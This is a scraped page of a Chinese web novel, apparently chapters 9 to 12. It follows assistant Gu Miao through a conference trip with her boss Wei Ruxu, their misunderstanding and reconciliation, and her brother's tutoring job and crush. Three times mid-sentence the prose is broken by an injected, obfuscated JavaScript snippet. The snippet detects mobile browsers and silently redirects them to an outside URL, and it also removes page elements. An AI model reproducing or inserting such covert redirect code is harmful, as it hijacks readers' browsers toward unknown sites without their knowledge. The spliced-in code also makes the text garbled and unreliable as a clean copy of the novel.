要完!怎么还要做PPT的吗?他们完全没准备!魏如栩知不知道这事儿?! 明明是大暑天,顾妙却觉得自己的大脑被一股顺着脊梁骨爬上来的寒意冻成了冰坨子,几乎完全丧失了思考能力。 好死不死,这会儿工作人员过来找她,说他们公司会在第八位发言,问顾妙要PPT拷到组委会的电脑上。 顾妙硬挤出一脸僵硬的笑意:“稍等哈,我修改一下就给你们。” 工作人员点头离去,顾妙赶紧给魏如栩发消息:“老板,你知道咱们还得做PPT这事儿吗?” 坐立不安的十秒钟过去,魏如栩回了消息:“知道,我做好了,一会儿发给他们。不用担心。” 结尾处他还附了一个莞尔一笑的表情,在顾妙看来简直惊心动魄。 这都什么事儿啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459386|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她到底来跟着干嘛的?一日游吗?还头等舱、五星级酒店地招待着。 虽说老板是学艺术出身的,做PPT一定比她好看,但这毕竟是她做助理的分内活儿。再这么干下去,她真是不好意思拿什么报酬了。 顾妙越想越不是滋味,再加上台上的老板们发言一点意思都没有,她的思绪更是跑到了八千里之外。好在每个人的发言只有十分钟,很快就轮到了魏如栩。 魏如栩脱下了板正的西装外套,也摘下了胸牌,终于不再像个业务员。 他全身温润的气质展露无遗,贴身的衬衫和西裤更是恰如其分地描摹出他的宽肩窄腰和大长腿。 不知道是不是顾妙的错觉,她仿佛听到四面八方都有女孩子的低呼声,连美女主持人也感叹了一句:“嘉栩广告的总经理竟然这么帅,简直可以亲自上阵去演广告片了。” “那也要看甲方爸爸们认不认可我的形象,如果愿意的话,我来演确实更能给大家省钱。”魏如栩竟然大大方方地接了这么一句玩笑话,引得全场笑声此起彼伏。 此刻不知是故意还是魏如栩要求,台上灯光暗了下来,一束追光打在他的身上。坐在台下的顾妙看来,他不像是去发言的,倒真是要上台演出似的。 魏如栩一开口,顾妙差点跪了。 “我今天想跟大家谈的是,广告片中的实验美学。” 纳尼?!这跟他们昨晚上一起写的发言稿半分钱关系都没有!难道这位老板,半夜三更不睡觉,自己又重新写了一篇吗? 魏如栩在台上侃侃而谈,他说的那些话顾妙根本听不懂几句,大概知道是跟实验艺术有关,所谓的PPT干脆是一段优美的影片,展示着魏如栩之前做过的一些装置艺术,以及世界各大艺术家的作品。 顾妙远远地看着他,耳朵好像被什么东西堵上了,整个世界慢慢变得安静下来,静得她只能听到自己一通乱跳的心脏。这次心跳再也不是《野蜂飞舞》,恐怕是杀气腾腾的《十面埋伏》。 她看到那个面孔俊美却越来越陌生的人嘴巴一开一合,神情镇定自信,越发觉得自己脸上像被人甩了无数个大嘴巴,又疼又肿。 她心里一度很气愤,因为这好歹是两个人共同完成的工作,也是她的一番心血,怎么能跟她连招呼都不打就换了?这也太侮辱人了吧?! 可转念一想,这是魏如栩代表公司的发言,自然是人家想说什么就说什么,想换稿子,难道要跟她这个助理商量? 只是这样一来,顾妙更觉得自己的存在毫无意义,自我价值已经跌落成了负分。 两种想法在她大脑里就像在坐跷跷板,一会儿这个占上风,一会儿那个占上风。无限死循环了半天,顾妙觉得自己再想下去恐怕就要失心疯,忍无可忍地站了起来,走出会场想要透透气。 外面骄阳似火,可顾妙的双手冰冷,好久都没有缓过来。 她并不是个无知幼子,还以为自己是整个世界的中心,在她父母去世那天她就已经不会再这么想了。可她总觉得,只要她用心,只要她付出努力,做出的成绩总会被人看到。 此时此刻,她再次意识到自己的无力,原来她所有的付出,都有可能被人无情地忽视,她满怀的真情实意,于别人来说,似乎根本不值一提。 就像少年人穿上盔甲,拿起战斧,满怀一腔热情地冲上战场想要建功立业,刚迈开第一步就被人绊了个狗啃泥,对方一脸嫌弃地斜眼看着你,觉得你连做炮灰都不够资格。 前些日子找不到工作的挫败感和此时沮丧的心情穿越时空无缝连接,像雷神的喵喵锤,一锤子把顾妙的自信心楔进了地平线以下。 顾妙茫然四顾,觉得自己跟这个地方格格不入,迫不及待想要逃跑。可是她的脚就像被钉在了地上,无论她怎么归心似箭,双脚却不肯挪动一步。 “……妙妙姐?” 魏如栩的声音从她身后传来,顾妙情不自禁地浑身一哆嗦。刚刚满心的愤怒消失无影,剩下的一腔情绪燃烧过的灰烬和被人否定后的颜面无存。 10. 第十章 小丑 顾妙有点惶恐,不知道该怎么面对魏如栩,毕竟她做的努力都是没用的。 魏如栩见她不说话,绕到她面前,关心地问:“你怎么在这儿?我找了你半天。” “哦,里面太冷了,我出来暖和暖和。”顾妙神魂不在家,也不知道自己说了什么令人匪夷所思的话。 “冷?”魏如栩看着她一额头的汗,神色有点古怪,“不会是生病了吧?” 他抬起手来,想要去触碰顾妙的额头,又觉得可能不太合适,讪讪地收了回来。 “啊?怎么会,我这么strong。”顾妙笑了笑,打算继续履行自己助理的职责,好歹也得把这次出差对付完。 她回头向会场的方向望了一眼,说道:“刚刚你的发言很精彩。” “关于这个,我想跟你解释一下。”魏如栩意识到顾妙情绪不太对,小心翼翼地问,“妙妙姐,你是不是生我气了?” “魏总你可别开玩笑了,我生什么气啊!”顾妙摆摆手,爽朗大笑了几声,“你说这都哪跟哪的。” 魏如栩耐心地看着她:“既然没生气,为什么你看都不看我一眼?” 顾妙无奈地抬头,一对上魏如栩那充满关怀的双眼,满心的委屈径直窜上脑门,产生的气压顿时憋红了她的眼。 顾小妙,你还能不能行了?!多大点事儿,这样就要哭? 趁眼泪还没出来,她掩饰似地擦了擦汗,把头扭向一边,半开玩笑地说:“其实我有点斜视,你以为我没有看你,其实我一直看着呢……” “昨天晚上你说了一句话,给了我很大的启发。”魏如栩没接她的话茬,自顾自地说,“你说‘果然还是写自己熟悉的东西更有说服力’,我当时突然醍醐灌顶。想来想去,我最熟悉的东西就是实验艺术,就是美学,而广告也跟美学密不可分。那一刻我好像终于知道自己要说什么,可惜时间太晚了,我总不能拉着你留下跟我一起熬夜,所以我就自己重新写了一份发言稿。” 顾妙怔了怔:“魏总,你没必要……” “其实就在上台之前,我还在犹豫到底要用哪篇。我们一起写出来的那篇很稳妥,效果一定会更好。我自己写的这篇,太过学术,还能有点理想化、不现实,但是说我自己熟悉的东西,我感觉底气更足一点。”魏如栩满怀歉意地说,“我知道没提前跟你打招呼,实在抱歉。” 他这一诚恳,顾妙别扭极了,顿时觉得自己刚刚那通委屈着实是过分矫情。 她连连摆手:“我的天,听听你这说的什么话。你上台发言,想说什么是什么,高兴了把所有稿子一扔,即兴演讲都行。不就是一篇发言稿嘛,还抱歉,年轻人,凡事不要想太多。你这么一本正经的我才要吓哭了好不好!” “刚才从台上下来不见你,可把我吓坏了。”魏如栩表情变得轻松起来,眼角眉梢都挂着笑意,“早说了我也是第一次当老板,确实不知道怎么哄员工。” “哄什么哄,又不是你女朋友。”顾妙摇了摇头,伸手拉着他的袖子往会场里走,“走吧,业界精英,多听听别人怎么说的,好好学习天天向上。” 一边走,她一边懊恼几分钟前的自己,一开始怎么都没想明白的道理突然间就被一点通了,仿佛堵塞了多年的马桶被皮搋子猛地吸了一口之后那么畅快淋漓。 太自我了,顾小妙,哪有那么多事情涉及你的自尊心,涉及你的存在价值?事情之所以重要,在于事情本身,这次没做好,下次再接再厉。 上午是来宾发言,二三十个嘉宾轮番上场讲完话之后,就已经到了午饭时间。主办方给所有嘉宾准备了自助餐,味道实在不怎么样。 下午是业界论坛,这种场合,魏如栩这样的中小公司老板也就只有在台下听课的份儿,在台上挥斥方遒的都是那些超级大佬。 顾妙远远地看着魏如栩的身影,见他像个认真听课的孩子那样,把笔记本电脑放在膝盖上,双手十指翻飞地飞快打字,心里想:“搞不好这个瓜娃子也是个学霸。看他对他的专业所学一副含情脉脉舍不得放手的模样,突然逼他放弃爱好,来当什么广告公司总经理,也是人间过于真实了。” 谁不说呢,无论什么阶层,各有各的烦恼,大约都是意难平吧。 会议就这一天,结束后两人先回酒店放了东西,魏如栩又打车拉着她跑去一家当地特色菜大快朵颐。 鉴于他们俩头天晚上都没睡好,两人吃完就被严重的食困拉扯回了各自的房间。 魏如栩睡没睡顾妙不知道,她是睡了一觉突然惊醒,想着还是把下午论坛的发言整理好发给魏如栩,毕竟总结这两天她自己的表现,实在是很难说令人满意。 估计这回也就是一次性买卖,如果她是老板,也不想要自己这么没头魂的助理。 唉,俗话说,没有那金刚钻,不揽这瓷器活。顾妙第一次对那些HR产生了深深的理解。 第二天一早爬起来就要去机场,好在魏如栩这回放轻松了,晚上睡觉没吃安眠药,起得比顾妙还早。 返程时的魏如栩就低调了很多,只是定了商务舱。两人的位置挨在一起,魏如栩还是老样子,刚上飞机没多久就开始昏昏欲睡。 顾妙本不想睡,但困意确实传染,她不由自主地闭了眼,靠在座椅后背上的脑袋不知不觉中向一侧倾斜,缓缓地撞上了魏如栩的头。 而且这个姿势,就像是顾妙一口亲在了魏帅哥的头发上。 魏如栩不知道用的什么洗发水,一定有提神醒脑的功效,本来就睡得不怎么熟的顾妙一个激灵醒了过来。 面对此情此景,她心虚地四下打量,见没有人注意到她趁着睡觉占帅哥便宜,内心的小鹿才不再像没头苍蝇似地继续乱撞。 然而冷静了一会儿,顾妙又有点心猿意马,她觉得魏如栩这洗发水还挺好闻的,于是再次凑上去,轻轻嗅了嗅。 有道是贪心不足蛇吞象,上天第一次放过你,第二次就一定抓你现行。 顾妙还没反应过来,魏如栩就扭过头来,睁着一双惺忪睡眼,茫然地看着她。 “妙妙姐,你干什么?” 顾妙一阵心力交瘁,连续两天,她一个妙龄女子,被一个妙龄男子质问对他想“干什么”,这事儿传出去她的脸往哪搁?! 她觉得自己就像一个屡次采花不成反被事主揪住小辫子的登徒子,内心鼻血与眼泪齐流,脸皮共腮红一色。 然而魏如栩还在眼都不眨地盯着她,眼中睡意已褪,一脸专注。 “呃……我……”顾妙结结巴巴地说,“觉得你的洗发水挺好闻,不知道是什么味的。” 其实这也算是真话了吧。 “好闻吗?倒是挺清爽的。”魏如栩挠了挠头发,似乎并没有怀疑这个答案,“马鞭草的,你喜欢的话我送你一瓶。” “唔,好哇。”顾妙一边答应,一边尴尬地在心里拿头不停撞墙。 如果顾肖知道她这愚蠢的行为,估计要拿这事儿笑话她一年。 好在魏如栩很快又睡过去了,直到飞机落地才醒。他没让公司的车来接她,而是自己打了出租车,先送顾妙回家。 到了顾妙家小区楼下,魏如栩将行李从后备箱里取了出来递给她,才试探性地开口:“妙妙姐,不知道这次双向考察我通过没通过?” 顾妙一怔:“难道我通过了?” 魏如栩一脸不解:“为什么觉得你没通过?” 莫名地,顾妙心底泛起一股悲意,她仔细看着魏如栩俊美无俦的脸,冷静地问:“魏总,在你眼里,我是个小丑吗?” “……什么意思?”魏如栩的脸上露出了吃惊的神色,“是我哪里做得不对吗?” “我明明什么都没做好,你为什么还要雇我做你的助理,因为我人傻好糊弄?” 在回来的飞机上,顾妙把这件匪夷所思的事整个想了一遍,后知后觉地发现,自己就是个大傻子,还不如连魏如栩的面都没见过的顾肖看得透彻。 对啊,世界上哪有那么笨拙的人,连保护自己都不懂?魏如栩见她第一面还没有两分钟就掏出身份证给她,没有十分钟就要给她一个工作,更别提还要带着她这个素昧平生的人一起去出差。 他一个在国外留学多年的人,难道真的对人一点防备心都没有吗? 他看起来天真无邪,话里话外表达的都是初涉江湖的战战兢兢。可不管在什么场合,他却表现得那么镇定自若,游刃有余。 他其实明明不需要顾妙跟他走这一遭,却又一直说得仿佛他离了人就完全不知道该如何是好。他这么做,到底图什么?难道觉得总经理一个人出差不好看,非得带个下属才算有排面? 顾妙满心悲愤,却又觉得没必要提起。反正这次告别之后,大家心照不宣地再也不用来往。可你为什么非要在我面前演戏?我可能反应迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459387|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钝了点,但并不是真傻。 她仰头看着魏如栩,冷冷地说:“我自己几斤几两我清楚,这次就敬谢不敏了。” “妙妙姐,为什么要因为一次的不完美,就去否定一个人?”魏如栩面沉似水地望着她,向来含笑的眼睛中此刻尽是失望,“你不是我,你怎么知道我对你的判断是什么?如果你有疑问,为什么不问问我的理由呢?” 顾妙内心一阵焦躁,不想再继续这样的对话,她现在知道魏如栩擅长带话题,生怕自己莫名其妙又被他套路,于是她硬邦邦地说:“我问了,你就会说真心话吗?不怕你在我面前人设崩塌吗?” “人设?”魏如栩先是一怔,随后他似乎明白了什么,唇角泛起一丝讥讽的笑,“我不知道你都怎么揣摩过我,但这恐怕不是我的锅,别想让我背。” “……”一句话哽得顾妙说不出话来,她觉得口干舌燥,强行挽尊为自己辩白,“平白无故地我揣摩你干什么?” “你如果没胡思乱想过,又怎么得出人设崩塌的结论?”魏如栩似笑非笑,之前那种温润的气质消失无形,他像是一柄出了鞘的剑,整个人都凌厉了起来,说出的话也带了见血封喉的气势,“奇怪了,明明跟你是在谈工作,为什么却像是拿成了言情剧的剧本。要说什么真心话,难道我要挖出心来给你看看吗?我是真不明白,难道对人温和,凡事留余地都成了装模作样?” 被魏如栩一针见血地捅到了痛点,顾妙猛地意识到自己好像矫情病又犯了,凡事都要求个清楚明白,凡事都跟自我价值联系得过于紧密,她自己一腔赤诚,就不能允许别人不够真心,将圆滑事故通通斥之为虚伪。 总而言之,就是她想得太多,又不接受别人想得少,但凡没有跟她统一思路的,都是不够真诚。 顾妙啊顾妙,你真是太把自己当回事了。 “那天在酒吧,我脑子里很多乱七八糟的事,一时有点心急,表现得不太符合社交规则,后来我以为我已经解释得很充分了,现在看来还不够。” 见她垂着头一直没有说话,魏如栩意识到自己刚才的话可能有点过分,语调缓和下来:“从一开始我的确有心观察你,可你并不负我的观察。这次的发言稿,本质上并不牵涉什么工作能力问题,所以我对你的工作能力并没有质疑。倒是你的品格、工作时的耐心和用心给我留下深刻印象,我觉得单凭这些,你就会是个很好的助理。” “于我而言,自然还有更深层次的原因。我目前的情况你也清楚,毕竟我对公司管理和广告业一无所知,无论我看起来多么自信,内心不免仍怀疑自己。连我自己都这样,更何况公司里那些觉得我不够格的元老们。” “所以我需要一个完全能站在我的角度考虑问题、想我之所想的人来做我的助理。即便你什么都不做,只要你站在我这边,我就足够安心。”魏如栩看向顾妙,眼中闪过一丝尴尬,“用一个不恰当的比喻,我在最无助的时候遇到了肯热心帮我的你,就像印随行为,这种信任感是没办法解释的。” 顾妙:“……” 她迅速在脑海里扒拉这个名词,大约是刚出生的小动物会把它们所见的第一个移动的物体当做妈妈。 妈妈?! 纳尼?! “我确实是个不爱表露情绪和想法的人——除了在作品方面。说起来也不能怪我,大多数成年男人很不愿意跟别人分享自己过于敏感的情绪,这样太幼稚太羞耻。可我很想留住你,所以,妙妙姐,不知道我这番剖白心迹,在你看来够不够真诚?” 魏如栩说完这番话,十分诚恳地看着顾妙,不知出于何种心理,他又补充了一句,“比哄女朋友还真心,自我感觉可以称得上是求贤若渴了。” 听见“女朋友”三个字,顾妙心中的八卦之火熊熊燃烧,顿时盯错了重点:“你有女朋友了啊!我就说嘛,长得一表人才怎么可能无人采摘!” 魏如栩:“……那是一种比喻手法,哎,你关注点别跑偏啊。” “是你自己带跑偏的,这锅我也不背。”顾妙笑着回了他一句,心中并非不知魏如栩是故意打破刚才过于沉重的对话气氛。 “这回我是不是说得足够清楚了?你不会再觉得哪里别扭了吧?以后心里有疑问就直接问我,别自己一个人瞎猜。”魏如栩笑道,“人心隔肚皮,我也不是X光眼,哪能看出来你在想什么?再说,你也不是对我毫无保留吧?!” 11. 第十一章 荡漾 大夏天俩人站外面说这么久的话,顾妙早就起了一层粘汗,这会儿魏如栩突然这么说,她顿时打了个冷战,也不觉得热了。 怎么?马甲掉了吗? ……那不如就趁这个时候坦个白吧! “魏总,其实我……” “人与人之间是要有安全距离的,再说我们还不算熟,没必要什么都掏心掏肺。现在是我信任你,以后有机会会让你慢慢信任我。”魏如栩打断顾妙的话,脸上又浮起他标志性的温柔微笑,“好了,这一篇儿总算是翻过了。” 出租车司机在旁边等得不耐烦,从车窗里探出头,冲他们喊:“哎我说,你还走不走了?我跟这儿等得都快变化石了。” “抱歉,麻烦再等一下,这就走。”魏如栩看向顾妙,“你想说什么?” “我……我也不像你想的那样,我……” 话到嘴边,顾妙突然尴尬了起来,一时之间不知如何说出口,顿时觉得这段对话就是一个大型的打脸现场,她刚刚还指责魏如栩不够真情实意,她自己却还顶着个破马甲招摇撞骗,生动诠释了什么叫五十步笑百步。 说出真相似乎也不那么容易,尤其是她还想把故意欺骗说得想令人觉得情有可原。 可是时间不等人,就在顾妙吞吞吐吐的时候,魏如栩的手机响了。 他接起电话,刚打了个招呼,脸上陡然变色:“好,我这就过去。” 顾妙担心地:“出什么事了?” “一言难尽。我得走了,回头联系。”魏如栩匆匆冲顾妙点了点头,迈开长腿上了车。 司机师傅一给油门,小车“唰”地蹿了出去,带起一片尘土,很快就消失在顾妙的视野里。 旁边树上的蝉叫得声嘶力竭,顾妙刚刚又紧张得浑身虚脱,她看看脚边的行李箱,顿时觉得一点力气都没有。 不知怎的,她突然想起了魏如栩形容她的那句拗口的话,“从身到心,透着一种许久没有被照顾过的倔强的坚强”,心里比数九寒天还苍凉。 谁说我没人照顾?顾妙恨恨地想,老子至少还有顾肖这个马仔可以使唤呢! 她掏出手机,拨通了顾肖的电话:“肖嬷嬷,朕到楼下了,快滚下来帮朕提行李。” “你不是自称硬核少女吗?就那比彩虹屁还轻的行李箱,你老人家一手能提仨!”顾肖的背景音有点嘈杂,听起来还有小孩子在叽叽喳喳,他的声音听起来也有点不耐烦,“自己上楼啊乖,我这给熊……唔、孩子们上课呢,一会儿就回去。” 又一次被光速打脸,顾妙觉得挺好,对称。 顾肖放下手机,一转头,看见几个小朋友齐刷刷地盯着他看,心里直发毛。 这个补习班是小区里几个家长攒的,一共就四个六年级小朋友,两男两女,开学该上初中。 为了让孩子们提前进入状态,他们分别找了几个知根知底的大学生来给孩子们上语数外,上课地点在其中一个孩子家里的客厅。顾肖负责的是数学。 这些熊孩子们难搞得很,讲课他们不认真听,打岔一个比一个灵。 不知道这届小朋友吃什么长大的,每个人的脑回路都奇葩得要命,还各有各衡量人的标准。一旦跟他们脱节,立刻就会被他们看不上,在他们心中失去权威。顾肖必须时刻保持跳跃思维,才能左支右绌地跟上每个娃的境界。 这会儿四个娃一起看着他,大大的眼睛闪烁着与他们年龄不匹配的八卦之光,顾肖心里冒出来俩字:要完。 四个小崽子也意识到同时发言不科学,他们相互用眼神交换了一下意见,派出个那个名叫伍世源的小胖子。 由于这个奇葩的名字,小胖子的外号简直泛滥成灾,补习班的大人小孩都管他叫五十块。五十块也不以为意,反而觉得自己的名字自带价格属性,比别人的名字不知道高到哪里去了。 五十块好奇地看着顾肖:“哥哥,跟你打电话的是谁呀?是你女朋友吗?” 此话一出,旁边两个女孩捂着嘴偷笑,仿佛发现了什么了不起的八卦。 把“女朋友”三个字和顾妙那张后娘脸联系在一起,顾肖只觉得脑瓤疼:“怎么就女朋友了?跟女朋友能这么说话吗?小屁孩你们是不懂,要是在女朋友面前这么放肆,你们那可就注孤生了!” 另一个男孩小名叫壮壮,算是个好学的娃,立刻提问道:“什么叫注孤生?” “注定、孤独、一生!”顾肖皮笑肉不笑,做高深莫测状,“这些知识点有点超纲,等你们上初中就差不多懂了,不用我教。” 旁边女孩之一、名字叫默默的开口问道:“那硬核少女和彩虹屁是什么意思呀?” 顾肖:“……” 这几位同学怎么回事,家里才通网? 他正在头大,毕竟身负家教重任,胡乱教小朋友似乎不太妥当,就听这时身后传来“噗嗤”一声轻笑,原来是给孩子们补英语的老师到了。 她叫盛缘,人长得文文静静,上一次见面顾肖就对她留下了深刻印象,不过两人的课基本都是前后脚,顾肖还没来得及跟她多聊。 谁知就在这个节骨眼上被她抓包,顾肖觉得这实在有损自己酷盖形象。 盛缘看出顾肖的局促,替他岔开话题:“顾老师的课堂还有这么丰富的课外知识呢?小朋友们休息一会儿吧,我给大家带了好吃的!” 她从双肩包里拿出一堆小零食,四个崽子到底还是年龄小,看见吃的智商基本降为负数,争先恐后地冲了过去,互不相让地厮杀起来。 顾肖自然不能错过这次机会,他见盛缘刚从外面进屋,脸还热得发红,赶紧从旁边冰箱里拿出一瓶冰镇矿泉水,拧开瓶盖再递过去:“谢谢救场。” 盛缘接过水,笑了笑:“别客气,不过你的词汇量确实不小。” 顾肖有点尴尬:“跟我姐学的,网瘾少女就是词汇量大,尤其那些用字母缩写的,不翻译我完全看不懂。” 这话有点亏心,顾妙天天打工,连番都顾不上追,整个人活得与她的世代脱节,哪还顾得上管网上日新月异的各种用词。 是顾肖自己,高考完之后闲着没事儿就刷网,兴趣爱好广泛得跨性别,要不然他怎么对口红色号这么了解呢? 再加上他本人十分热爱追根问底,给他一个线头他能把一件毛衣拽秃噜再原样织回来,就这一个多月的时间他的词汇量简直是指数级增长,能熟练地用各种缩写在网上吃瓜和发弹幕,顾妙看不懂的还得问他。 盛缘不知道背后真相,附和了一句:“是挺难的,我也看不懂,不过最近也没什么机会上网,我爸逼着我在家练琴。” “我爸妈也不让我上网!” “我也是!” “我也是!” 几个小崽子一边吃零食一边插嘴,顾肖一回头,看他们把包装纸扔得满地都是,头都大了:“吃东西都堵不上你们的嘴!怎么随手扔垃圾啊?谁扔的谁收拾!” 五十块根本不怕,一张吃过辣条的油乎乎的小嘴噘得老高:“哥哥你怎么跟我妈似的?” 顾肖:“……” 这小崽子真是活腻了,等着我给你数学作业开小灶吧! 他狠狠瞪了五十块一眼:“你妈教育得没错,小学生守则没教过你吗?不能随地乱扔垃圾?” “小学生守则说了不能随地吐痰,没说垃圾的事儿。”五十块往嘴里又丢了一块薯片,故意咬得发出“嘎嘣嘎嘣”的声音,“再说了,我就临时这么一放,你怎么知道我们一会儿不收拾?” 其他几个小崽子齐声附和:“就是!” 五十块还不见好就收,伸出小胖手来点了点顾肖,小大人似地说:“要学会享受当下,什么事也不能太规矩。我爸说了,凡事都被条条框框给束缚的人,难成大器!” “你……”顾肖气得快脑溢血了,这小屁玩意儿怎么这么多词儿? 他用眼角看了盛缘一眼,发现她正在辛苦憋笑,虽然低着头看不见表情,但她的肩膀更筛糠似地抖个不停,简直把顾肖的自尊抖得遍地都是。 顾肖狠狠地盯着五十块,目光阴森:“谁给你的自信见人就啄,啄起来还没完?你属大鹅的吗?吃你的东西吧!” 盛缘递过来一个雪媚娘,笑盈盈地说:“你也吃点东西消消火。” “谢谢,”接过这软乎乎的小玩意,顾肖顿时心都软了,拿在手里团着玩,并没舍得吃,“你大几了?学什么专业?” “我今年刚高考完,被T大录取了,英语专业。” 一听“T大”,顾肖眼睛顿时亮了:“哇,名牌大学,985啊!听说这个学校学风特别好,校园漂亮,外面小吃街什么好吃的都有,关键他们软件工程专业全国排名很高,十分难考。” “确实,我一个纯文科生对这些大神只能顶礼膜拜了。”盛缘挑挑眉,“你呢?” “我?”顾肖坏笑了一下,向盛缘伸出手,“也是T大,软件工程专业,学妹你好。” 盛缘怔了一下,才发现刚才顾肖那番过于明显的反应其实是想拐着弯夸他自己,无奈地笑了笑,跟他握了下手:“为什么叫学妹不叫学姐?凭什么断定你比我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459388|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大?” “这就是家里有个姐姐的好处,懂得多一点。”顾肖促狭一笑,“不管大小都要叫妹子,随随便便管妙龄少女叫‘姐’,有被掀掉头盖骨的危险。” 无端在这短短的对话中被cue到两次的顾妙冲了个澡出来,就莫名连着打了好几个喷嚏,嘟嘟囔囔自言自语:“谁说我坏话呢?” 她吹干了头发,也没顾上拆箱子,懒散地往床上一躺,感叹道:“还是家里舒服。” “这个魏总,着急忙慌地走了,也没说清楚接下来怎么办,那我到底该怎么办呢?”顾妙看着天花板,有点出神,心里想,“他说的倒是也合情合理,可我真的要这么去他公司上班吗?别净给他帮倒忙。” 她刚发了一会儿呆,就听见门开了,顾肖哼着小曲儿回了家,还飚了高音,也不怕邻居们听见。 “哎,你给熊孩子们补个课,怎么这么高兴?”顾妙坐起来,冲着外面喊。 那雪媚娘顾肖到底没舍得吃,在手里一抛一接地玩着,他听见顾妙的声音,兴冲冲地跑到她房间里去:“哟,白领姐姐,出趟差气色不错啊。” 顾妙没好气地白了他一眼:“哪比得上你一脸春色。” 她伸手截住顾肖抛起来的雪媚娘,瞬间就撕开包装袋塞进嘴里。 “……”顾肖气坏了,“你动作怎么这么快?饿鬼上身吗?这是人家给我的!” 顾妙嘴里嚼着,含混不清地说:“东西是用来吃的,不是用来玩的,给你长个教训。啧,叫你扔得口感都不好了。” 她注意到顾肖郁闷的表情,想起刚刚他那一脸春色,坏笑起来:“谁给你的?这么宝贝。搁平时你还能带回来给我?” “注意,那不是给你的,是你抢的!这么大岁数的人了,都不知道尊老爱幼。” 顾肖忽然想起什么,拉过书桌旁的椅子放在大立柜前,一脚踩上去,在立柜顶上翻着什么。 顾妙尖叫:“你干什么?一会儿给我擦干净!” 顾肖很快从一个大盒子里掏出了一把木吉他,灰尘漫天飞扬,他也被呛得咳嗽了几声,伸手在脸前扇了扇。 顾妙更是郁闷:“疯了吗你?这玩意儿还没被虫蛀烂吗?你拿它出来干什么?收废品都不值钱。” “山人自有妙用。”顾肖一手拎着吉他,从椅子上跳下来,伸手抓过椅背上顾妙的衣服,擦了擦他的脚印。 顾妙:“……想死你可以说声,不用这么费劲。” 顾肖一屁股坐在椅子上,端出个架势,轻轻拨了拨琴弦,摇了摇头:“看来是不成了,得换弦。” “那不废话吗?那还是我初中毕业咱爸买的,我弹了两天就扔一边了,之后再也没碰过。” 顾肖看了顾妙一眼,眼神凉凉:“还好意思说。” “你到底受什么刺激了?”顾妙也觉得自己不小心开启了尴尬的过往,转换话题,“以后不写诗了?改当唱作歌手?” “遇见了在补习班教英语的妹子,也是今年刚考上T大,人家钢琴十级,我寻思着怎么也得找点类似的爱好才好跟人接触。” 吉他虽然在琴袋里一直放着,但还是有些许灰尘钻了进去,顾肖从书桌上抽了几张纸巾,小心翼翼地擦着。 “哟,能入得了肖嬷嬷的法眼,前无古人啊!”顾妙一骨碌从床上弹起来,凑到顾肖跟前蹲下,不怀好意地盯着他的脸,“说真的,我本来觉得你给我领家来个男弟妹也挺好的,哎,梦碎了啊!” “腐眼看人基,出门左拐不送!” “这是我屋!” 顾肖把吉他往琴袋里一放,拎着便走,顾妙正蹲着,眼疾手快拉住他脚脖:“没交代清楚不能走!” “拿开你的九阴白骨爪。”顾肖嫌弃地一抖腿,“要脸不要?” 顾妙站起来,笑嘻嘻地:“说啊,那妹子什么情况?什么类型?说起来我还真不知道你喜欢什么样的姑娘,真是对你太缺乏关心了。” 顾肖很不友好地看了顾妙一眼:“现在才开始找补,你不觉得晚了点吗?” “亡羊补牢,不晚不晚!” 顾肖懒得搭理她,顾不上擦琴袋上的灰,嫌弃地用一根手指头勾着背带,大摇大摆出了门:“去换弦,一会儿回来。” 跟顾妙火爆脾气行动派相反,顾肖向来是个慢性子,干什么都磨磨唧唧、慢条斯理,好的时候是做事仔细又有耐心,差的时候就是拖延癌,从没见他对什么事这么反应迅速过。 “事出反常必有妖。”顾妙心想,按照她弟那清新脱俗的审美,这姑娘得俊成啥样! 12. 第十二章 煎熬 顾肖真正发挥了他爱研究爱动脑筋的热情,换了琴弦回来,就躲在他屋里不停拨拉,房间里传来教学视频的声音。 顾妙做饭间隙伸头看了一眼,见他对着网上搜来的教程正认真练习。等吃完饭,顾妙洗完碗,就听到他已经能比较流畅地弹奏《小草》了。 她手里拿着个刚洗干净的梨,悄么声站在他房间门口,看着他的背影。 顾肖的身量已经拉开,目前身高窜到181,但还有着少年特有的瘦削,穿着T恤的身板肩膀十分宽阔,挡住了大部分台灯的灯光,勾勒出整件衣服的轮廓。那衣服在他身上空空荡荡的,看不出腰身,只能看到一副宽大的骨头架子。 这位未来大神抱着吉他不仅认真弹,还认真唱:“没有花香,没有树高,我是一棵无人知道的小草,从不寂寞,从不烦恼,你看我的伙伴遍及天涯海角……” 歌倒是都在调上,就是未免太凄凉了一些,听得顾妙直发冷,忍不住打断他:“哎我说歌神,你能换个欢快点的么?不知道的还以为你在诠释你的人生。” 